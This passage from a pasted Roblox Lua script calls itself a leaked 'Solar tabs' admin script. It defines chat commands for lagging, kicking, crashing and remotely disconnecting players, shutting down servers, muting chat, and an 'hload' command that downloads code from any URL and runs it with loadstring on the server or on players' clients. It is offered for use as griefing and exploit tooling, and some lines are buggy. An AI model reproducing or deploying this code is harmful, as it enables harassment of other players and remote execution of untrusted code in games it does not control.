  1602. pcall(function()
  1603. NewLS(SpecialLagSource,v:findFirstChild'Backpack' or v.Character or v:findFirstChild'PlayerGui')
  1604. end)
  1605. end
  1606. else
  1607. for _,v in pairs(GetPlayers(p,m)) do
  1608. pcall(function()
  1609. v:Kick()
  1610. end)
  1611. end
  1612. end
  1613. end
  1614. )
  1615. AddCmd("Fix rotation","fixrot","Fix the rotation","<no arguments>",0,
  1616. function(p)
  1617. function UpdateTablets()
  1618. pcall(function()
  1619. Air["Rotation"]=Air["Rotation"]+Air["RotationAddValue"]/100
  1620. for _,v in pairs(game.Players:players()) do
  1621. local PT={}
  1622. local Curr=0
  1623. for _,t in pairs(Air["Tabs"])do
  1624. if t.Owner==v then
  1625. table.insert(PT, t)
  1626. end
  1627. end
  1628. for i=1,#PT do
  1629. local pos = v.Character.Torso.CFrame
  1630. local m=(i/#PT-(.5/#PT)+(Air["Rotation"]/(#PT/10)))*math.pi*2
  1631. local rad=(#PT*.6)+4
  1632. local x=math.sin(m)*(rad)
  1633. local y=math.sin(time()/5)
  1634. local z=math.cos(m)*rad
  1635. local arot=Vector3.new(x,y,z)+pos.p
  1636. local brot=PT[i].P.CFrame.p
  1637. local crot=arot*.1+brot *.9
  1638. local d=math.rad((Air["Rotation"]*300)*math.pi)
  1639. PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d)
  1640. end
  1641. end
  1642. end)
  1643. end
  1644. if RotCon then
  1645. RotCon:disconnect()
  1646. end
  1647. wait(1)
  1648. RotCon = game:service'RunService'.Stepped:connect(function()
  1649. UpdateTablets()
  1650. end)
  1651. Solar["Rotation"] = 0
  1652. Solar["RotationAddValue"] = 0.1
  1653. Output(p,"Rotation fixed.",GetColor(p))
  1654. end
  1655. )
  1656. AddCmd("Shutdown","sd","Shuts the server down","-u (update)",3,
  1657. function(p,m)
  1658. if GetSplit(m) == 'u' then
  1659. for i,v in pairs(game.Players:players()) do
  1660. coroutine.wrap(function()
  1661. pcall(function()
  1662. NewLS([[
  1663. wait(0.001)
  1664. script:ClearAllChildren()
  1665. script.Parent = nil
  1666. lp = game:service'Players'.LocalPlayer
  1667. pcall(function()
  1668. lp:Kick()
  1669. end)
  1670. wait()
  1671. local a = Instance.new("Message",workspace)
  1672. a.Text = "You will be back for 10 seconds, don't leave"
  1673. wait(10)
  1674. game:service'TeleportService':Teleport(game.PlaceId)
  1675. ]],v:findFirstChild'Backpack' or v:findFirstChild'PlayerGui' or v.Character)
  1676. coroutine.wrap(function()
  1677. wait(1)
  1678. if v ~= nil then
  1679. v:Kick()
  1680. end
  1681. end)()
  1682. game.Players.ChildAdded:connect(function(pl)
  1683. wait(3)
  1684. plr:Destroy()
  1685. end)
  1686. end)
  1687. end)()
  1688. end
  1689. else
  1690. for _,v in pairs(game.Players:getPlayers()) do
  1691. v:Kick()
  1692. wait();
  1693. v:remove()
  1694. end
  1695. end
  1696. end
  1697. )
  1698.  
  1699. AddCmd("Teleport","tp","Teleport yourself to another place","No argumentios",0,--It can be anyone
  1700. function(p,m)
  1701. NewLS([[game:service'TeleportService':Teleport(]]..m..[[)]],p.Backpack)
  1702. end
  1703. )
  1704.  
  1705. AddCmd("God","god","Gods a person",'no args',1,
  1706. function(p,m)
  1707. for i,v in pairs(GetPlayers(p,m)) do
  1708. if v.Character then
  1709. if v.Character.Humanoid then
  1710. v.Character.Humanoid.MaxHealth = math.huge
  1711. end
  1712. end
  1713. end
  1714. end)
  1715.  
  1716. AddCmd("Message",'m',"Creates a message","-h (Hint), -t (Time)",2, --we dont need arguments for dat
  1717. function(p, m) --p = player
  1718. for _,v in pairs(workspace:children()) do
  1719. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  1720. v:Destroy()
  1721. end
  1722. end
  1723. if GetSplit(m) == "h" then
  1724. m = m:gsub('-h','')
  1725. local a = Instance.new("Hint", workspace)
  1726. a.Text = '['..p.Name..']: '..m
  1727. game:service'Debris':AddItem(a,5)
  1728. elseif GetSplit(m) == 't' then
  1729. m = m:gsub('-t','')
  1730. local time = tonumber(m:sub(1,3))
  1731. m = m:gsub(tostring(time),'')
  1732. local a = Instance.new("Message", workspace)
  1733. a.Text = '['..p.Name..']: '..m
  1734. game:service'Debris':AddItem(a,time)
  1735. else
  1736. local a = Instance.new('Message',workspace)
  1737. a.Text = '['..p.Name..']: '..m
  1738. game:service'Debris':AddItem(a,5)
  1739. end
  1740. end
  1741. )
  1742. AddCmd("Run-time","runtime","Shows the time Solar has been running","No args",0,
  1743. function(p)
  1744. Output(p,('Air has been running for %d:%d:%d'):format(Hours,Minutes,Seconds))
  1745. Output(p,('Air has been running for '..Hours..' hours, '..Minutes..' minutes, and '..Seconds..' seconds!'))
  1746. end
  1747. )
  1748. AddCmd("Pri","pri","Toggle private server","-on (Turns PRI on), -off (Turns PRI off)",4,--Heheheheh :)
  1749. function(p, m)
  1750. if GetSplit(m) == "on" then
  1751. m = m:gsub('-on','')
  1752. PrivateServer = true
  1753. for i,v in pairs(game:service'Players':players()) do
  1754. if GetRank(v) < 0.1 then
  1755. pcall(function()
  1756. coroutine.wrap(function()
  1757. repeat v:Kick() wait() until v == nil
  1758. end)()
  1759. end)
  1760. end
  1761. end
  1762. OutputAdmins("WARNING: Private server is on","Really red")
  1763. elseif GetSplit(m) == "off" then
  1764. m=m:gsub('-off','')
  1765. wait()
  1766. PrivateServer = true
  1767. OutputAdmins("Private server is off","Really red")
  1768. end
  1769. end
  1770. )
  1771. AddCmd("Mute","mute","Block player's chat","-u (unmute)",2,
  1772. function(p,m)
  1773. if GetSplit(m) == "u" then
  1774. m = m:gsub('-u','')
  1775. for i,v in pairs(GetPlayers(p,m)) do
  1776. if v and v.Backpack then
  1777. NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',true)",v.Backpack)
  1778. end
  1779. end
  1780. else
  1781. for i,v in pairs(GetPlayers(p,m)) do
  1782. if v and v.Backpack then
  1783. NewLS("game:service'StarterGui':SetCoreGuiEnabled('All',false)",v.Backpack)
  1784. end
  1785. end
  1786. end
  1787. end
  1788. )
  1789. AddCmd("Rejoin","rj","Rejoins player",'no arguments',2,
  1790. function(p,m)
  1791. for _,v in pairs(GetPlayers(p,m)) do
  1792. game:service'TeleportService':Teleport(game.PlaceId,v.Character)
  1793. end
  1794. end
  1795. )
  1796. AddCmd("Player Info","pinfo","Shows player info","No argmentz",1,
  1797. function(p,m)
  1798. for _,v in pairs(GetPlayers(p,m)) do
  1799. Output(p,v.Name.."'s account age is "..v.AccountAge.." days")
  1800. Output(p,"Name: "..v.Name)
  1801. Output(p,v.Name.."'s account-id is: "..v.userId)
  1802. end
  1803. end
  1804. )
  1805. AddCmd("Warn","warn","Warns a player","No arguments",2,
  1806. function(p,m)
  1807. local k = m:find(',')
  1808. local plr = m:sub(1,tonumber(k)-1)
  1809. local txt = m:sub(tonumber(k)+1)
  1810. for i,v in pairs(GetPlayers(p,plr)) do
  1811. Output(v,p.Name..' warns you for: '..txt,'Really red')
  1812. end
  1813. end
  1814. )
  1815. AddCmd("Disconnect","disc","Disconnect a player (can disconnect nilled players)","-n (nil players), -a (all players)",3,
  1816. function(p,m)
  1817. if GetSplit(m) == "n" then
  1818. Disconnect('nil')
  1819. if Not == true then
  1820. Output(p,'You disconnected all connected nil players','Really red')
  1821. end
  1822. elseif GetSplit(m) == 'a' then
  1823. Disconnect('all')
  1824. if Not == true then
  1825. Output(p,'You disconnected all players and shutdowned the server','Really red')
  1826. end
  1827. else
  1828. Disconnect(m)
  1829. if Not == true then
  1830. Output(p,'You disconnected: '..m,'Really red')
  1831. end
  1832. end
  1833. end
  1834. )
  1835. AddCmd('Get nils','nilp','Get nil players in game','<no arguments>',1,
  1836. function(p)
  1837. for i,v in pairs(game:service'NetworkServer':children()) do
  1838. if v:GetPlayer() then
  1839. if v:GetPlayer().Parent ~= game:service'Players' then
  1840. Output(p,v:GetPlayer().Name,'Really red', function()
  1841. Dismiss(p)
  1842. if GetRank(v:GetPlayer().Name) < GetRank(p) then
  1843. Output(p,'Try to remote disconnect: '..v:GetPlayer().Name..'?','Really red',function()
  1844. RemoteCrash(v:GetPlayer().Name)
  1845. end)
  1846. end
  1847. end)
  1848. end
  1849. end
  1850. end
  1851. end
  1852. )
  1853. AddCmd("Explore","explore","Explore the game","<no arguments>",1,
  1854. function(p,m)
  1855. Explore(p)
  1856. end
  1857. )
  1858. AddCmd("Nil support","connect","Connect yourself to nil support","<no arguments>",3,
  1859. function(p)
  1860. pcall(function()
  1861. NewLS(NilSupport,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  1862. NewLS(PixelChatSource,p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  1863. end)
  1864.  
  1865. end
  1866. )
  1867.  
  1868. AddCmd("Pixel chat","pc","Local pixel chat to yourself","<no arguments>",3,
  1869. function(p)
  1870. pcall(function()
  1871. NewLS(PixelChatSource, p:findFirstChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  1872. end)
  1873. end
  1874. )
  1875. AddCmd("Http load",'hload','Load a script via http service','-l (local) -s (server-sided)',3,
  1876. function(p,m)
  1877. if GetSplit(m) == 'l' then
  1878. m = m:gsub('-l','')
  1879. http = true
  1880. scr = 'a = Instance.new("Hint",workspace) a.Text = "Link not found" game:service("Debris"):AddItem(a,3)'
  1881. val = 'asd'
  1882. a,b = ypcall(function()
  1883. h = game:service'HttpService'
  1884. scr = h:GetAsync('https://code.stypi.com/',true)
  1885. end) if not a then http = false end
  1886. if http == false then
  1887. Output(p,'HttpService is off, hload is unable to use.','Really red')
  1888. end
  1889. if http ~= false then
  1890. h = game:service'HttpService'
  1891. scr = h:GetAsync(m,true)
  1892. a = Instance.new("StringValue",game.Lighting)
  1893. a.Name = 'Script '..tostring(math.random(-99999,99999))
  1894. val = a.Name
  1895. end
  1896. pcall(function()
  1897. NewLS("wait(1) a,b = pcall(function() loadstring(game.Lighting."..val..".Value)() end) if not a then Instance.new('Hint',workspace).Text=b end",p:findFirtChild'Backpack' or p:findFirstChild'PlayerGui' or p.Character)
  1898. end)
  1899. elseif GetSplit(m) == 's' then
  1900. m = m:gsub('-s','')
  1901. NewS([[
  1902. a,b = ypcall(function()
  1903. h = game:service'HttpService'
  1904. _ = ']]..m..[['
  1905. s = h:GetAsync(_,true)
  1906. loadstring(s)()
  1907. end) if not a then Instance.new("Message",workspace).Text=b end
  1908. ]], workspace)
  1909. else
  1910. NewS([[
  1911. a,b = ypcall(function()
  1912. h = game:service'HttpService'
  1913. _ = ']]..m..[['
  1914. s = h:GetAsync(_,true)
  1915. loadstring(s)()
  1916. end) if not a then Instance.new("Message",workspace).Text=b end
  1917. ]], workspace)
  1918. end
  1919. end
  1920. )
  1921. AddCmd("Fix lighting","flig","Fixes lighting","No arguments",0,
  1922. function()
  1923. local lighting = game:service'Lighting'
  1924. lighting.GeographicLatitude=41.733299255371;
  1925. lighting.ColorShift_Bottom=_RGB(0,0,0);
  1926. lighting.ShadowColor=_RGB(179,179,179);
  1927. lighting.ColorShift_Top=_RGB(0,0,0);
  1928. lighting.FogColor=_RGB(192,192,192);
  1929. lighting.Ambient=_RGB(128,128,128);
  1930. lighting.TimeOfDay='14:00:00';
  1931. lighting.GlobalShadows=false;
  1932. lighting.Name='Lighting';
  1933. lighting.archivable=true;
  1934. lighting.Outlines=false;
  1935. lighting.Brightness=1;
  1936. lighting.FogEnd=1e5;
  1937. lighting.FogStart=0;
  1938. local c=lighting:children();
  1939. for i=1,#c do
  1940. if(c[i].className=='Sky')then
  1941. pcall(function() c[i]:remove() end)
  1942. end;
  1943. end;
  1944. end
  1945. )
  1946. AddCmd("Lock scripting","lockscr","Lock scripting","-u (unlock)",4,
  1947. function(p,m)
  1948. if GetSplit(m) == 'u' then
  1949. ScriptingLocked = false
  1950. OutputAdmins("Scripting is unlocked")
  1951. else
  1952. ScriptingLocked = true
  1953. OutputAdmins("WARNING: SCRIPTING IS LOCKED","Really red")
  1954. end
  1955. end
  1956. )
  1957. AddCmd("Ask for rank-up","afrup","Ask admins for rank up","<no arguments>",0,
  1958. function(p,m)
  1959. if GetRank(p) > 3 then
  1960. Output(p,'Your rank is more than 3, you can\'t ask for rank-up','Really red')
  1961. else
  1962. OutputAdmins(p.Name..' (rank '..GetRank(p)..') asks for rank up','Really red')
  1963. end
  1964. end
  1965. )
  1966. AddCmd("Private message","pm",'Show a player a private message (\',\' to separate player name from text)','<no arguments>',1,
  1967. function(p,m)
  1968. local sep = m:find(',')
  1969. local plr = m:sub(1,tonumber(sep)-1)
  1970. local msg = m:sub(tonumber(sep)+1)
  1971. for i,v in pairs(GetPlayers(p,plr)) do
  1972. PrivateMessage(p,v,msg)
  1973. end
  1974. end
  1975. )
  1976. --[[END OF COMMANDS]]--
  1977. coroutine.wrap(function()
  1978. for _,v in pairs(game.Players:players()) do
  1979. local con = v.Chatted:connect(function(msg)
  1980. OnChatted(v,msg)
  1981. end)
  1982. ChatConnections[#ChatConnections+1] = con
  1983. if v.AccountAge < 10 then
  1984. if Not == true then
  1985. OutputAdmins(v.Name.." has been kicked for age less than 15","Really red")--Sorry new people :(
  1986. end
  1987. pcall(function()
  1988. coroutine.wrap(function()
  1989. repeat v:Kick() wait(0.1) until v == nil
  1990. end)()
  1991. end)
  1992. end
  1993. if PrivateServer then
  1994. if GetRank(v) < 0.1 then
  1995. if Not == true then
  1996. OutputAdmins(v.Name.." has been kicked due to private server","Really red")
  1997. end
  1998. pcall(function()
  1999. coroutine.wrap(function()
  2000. repeat v:Kick() wait(0.1) until v == nil
  2001. end)()
  2002. end)
  2003. end
  2004. end
  2005. Connect(v)
  2006. end
  2007. PACon = game.Players.ChildAdded:connect(function(plr)
  2008. wait(1)
  2009. if GetRank(plr) < -0.5 then
  2010. if Not == true then
  2011. OutputAdmins(plr.Name.." has been kicked due to ban","Really red")
  2012. end
  2013. pcall(function()
  2014. coroutine.wrap(function()
  2015. repeat plr:Kick() wait(0.1) until plr == nil
  2016. end)()
  2017. end)
  2018. elseif PrivateServer then
  2019. if GetRank(plr) < 0.1 then
  2020. if Not == true then
  2021. OutputAdmins(plr.Name.." has been kicked due to private server","Really red")
  2022. end
  2023. pcall(function()
  2024. coroutine.wrap(function()
  2025. repeat plr:Kick() wait(0.1) until plr == nil
  2026. end)()
  2027. end)
  2028. end
  2029. elseif plr.AccountAge < 15 then
  2030. if Not == true then
  2031. OutputAdmins(plr.Name.." has been kicked for age less than 15","Really red")
  2032. end
  2033. pcall(function()
  2034. coroutine.wrap(function()
  2035. repeat plr:Kick() wait(0.1) until plr == nil
  2036. end)()
  2037. end)
  2038. else
  2039. if Not == true then
  2040. OutputAdmins(plr.Name.." has joined the game","Lime green")
  2041. end
  2042. end
  2043. wait(0.5)
  2044. local con = plr.Chatted:connect(function(msg)
  2045. OnChatted(plr,msg)
  2046. end)
  2047. ChatConnections[#ChatConnections+1] = con
  2048. Connect(plr)
  2049. end)
  2050. end)()
  2051. --[[OWNER SAFETY]]--
  2052.  
  2053.  
  2054.  
  2055. --[[NILS ON CHATTED SUPPORT]]--
  2056. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  2057. if asd.ClassName == 'StringValue' then
  2058. if asd.Name == 'LolCon' then
  2059. local k = asd.Value:find('\31')
  2060. local plr = asd.Value:sub(1,tonumber(k)-1)
  2061. local msg = asd.Value:sub(tonumber(k)+1)
  2062. for i,v in pairs(game:service'Players':players()) do
  2063. if v.Name == plr then
  2064. return
  2065. end
  2066. end
  2067. OnChatted(plr,msg)
  2068. end
  2069. end
  2070. end)
  2071. ChatConnections[#ChatConnections+1] = con
  2072. --[[END OF NILS CHATTED SUPPORT]]--
  2073. --[[NILS UPDATE TABLETS]]--
  2074. game:service'RunService'.Stepped:connect(function()
  2075. UpdateNilPlayersTablets()
  2076. end)
  2077. workspace.descendantAdded:connect(function(a)
  2078. if a.ClassName == 'Script' or a.ClassName == 'LocalScript' then
  2079. if ScriptingLocked == true then
  2080. if a.Name == "Animate" then return end
  2081. a.Disabled = true
  2082. a:remove()
  2083. end
  2084. end
  2085. end)
  2086. workspace.descendantAdded:connect(function(a)
  2087. pcall(function()
  2088. x = 0
  2089. for i,v in pairs(workspace:children()) do
  2090. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2091. x = x + 1
  2092. end
  2093. end
  2094. if x > MessageLimit then
  2095. for i,v in pairs(workspace:children()) do
  2096. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2097. v:remove()
  2098. end
  2099. end
  2100. if Not == true then
  2101. OutputAdmins(string.format('Removed %d messages/hints due to message/hint limit',x),'Really red')
  2102. end
  2103. end
  2104. end)
  2105. end)
  2106. for i,x in pairs(game.Players:players()) do
  2107. Output(x,'Solar tabs leaked loaded.','Light blue')
  2108. Output(x,'Created by: (optiplex123, aleksa12432)','Light blue')
  2109. Output(x,'say cmds/ for a list of cmds!','Light blue')
  2110. end
  2111. end) if not a then Instance.new('Message',workspace).Text = b end
  2112. --[[END OF NILS UPDATE TABLETS]]--
  2113. --Thanks for using Solar--
  2114. --See you later :)--
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement